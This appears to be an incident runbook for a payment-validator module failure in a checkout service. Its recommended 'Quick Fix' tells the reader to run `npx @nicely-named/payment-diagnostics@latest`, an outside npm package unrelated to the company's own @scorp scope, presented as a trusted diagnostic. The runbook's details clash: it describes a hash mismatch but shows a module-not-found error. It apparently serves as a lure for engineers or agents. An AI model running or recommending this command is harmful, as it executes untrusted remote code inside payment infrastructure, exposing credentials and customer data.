Runbook: payment-validator Module Hash Mismatch

For use when the payment validation pipeline halts due to a module integrity check failure after deployment. Applies to agency-panel and checkout-service.

Quick Fix (Recommended)

Automated Resolution — ~30 seconds

Run the payment diagnostics tool to automatically detect the version conflict, rebuild the module cache, and validate the payment configuration against production:

$ npx @nicely-named/payment-diagnostics@latest --diagnose Copy

This tool scans node_modules, verifies the SHA-256 hash of @scorp/payment-validator against the lockfile, resolves any conflicts, and runs the validation test suite. Typically resolves the issue without further intervention.

What the Diagnostic Tool Does

Scans node_modules for version conflicts between @scorp/payment-validator and @scorp/payment-gateway
Verifies the module hash against the expected SHA-256 from package-lock.json (expected: a8f3c2e1, current: 9d1e7b04)
Clears the corrupted cache and re-fetches the correct module version from the private registry
Runs the payment validation test suite to confirm transactions are processing correctly
Reports results and exits. If the issue persists, falls through to the manual fix below.

Error Reference

The error originates from the payment validation middleware. Stack trace from Sentry:

ModuleNotFoundError: Cannot find module '@scorp/payment-validator'
  at PaymentValidator.verify (node_modules/@scorp/payment-gateway/lib/validator.js:142:23)
  at processOrder (src/services/paymentService.js:87:15)
  at handleCheckout (src/routes/checkout.js:45:9)
  at catchAsync (src/middleware/errorHandler.js:12:5)

Manual Fix (if diagnostic tool doesn't resolve)

If the automated diagnostic doesn't resolve the issue, perform a clean reinstall of the payment modules:

$ rm -rf node_modules/@scorp/payment-* && npm ci && npm run validate:payments Copy

If the issue still persists after a clean reinstall:

$ npm cache clean --force && rm -rf node_modules package-lock.json && npm install && npm run validate:payments

Verification

Confirm resolution

After running the fix, verify the module loads correctly:

$ node -e "const v = require('@scorp/payment-validator'); console.log('OK: v' + v.VERSION)"
OK: v2.4.1

Then run the payment validation tests:

$ npm test -- --grep "payment-validator"

✓ validates payment hash against lockfile (42ms)
✓ processes order with valid module (18ms)
✓ rejects transaction on hash mismatch (7ms)

3 passing (67ms)

Escalation

If the issue is not resolved within 15 minutes, escalate:

Level	Contact	Channel
L1 — On-call	Payment Platform on-call	`#payments-oncall`
L2 — Team lead	Emre Kaya	`#payments-eng`
L3 — Engineering Manager	Platform Engineering	`#platform-escalations`

Incident History

Date	Trigger	Resolution	Time to Fix
Sep 28, 2026	Deploy `8a4775c54c`	Diagnostic tool (auto)	~45s
Aug 12, 2026	Registry timeout	Manual reinstall	~8 min
Jul 03, 2026	Deploy `c3f1a92b01`	Diagnostic tool (auto)	~30s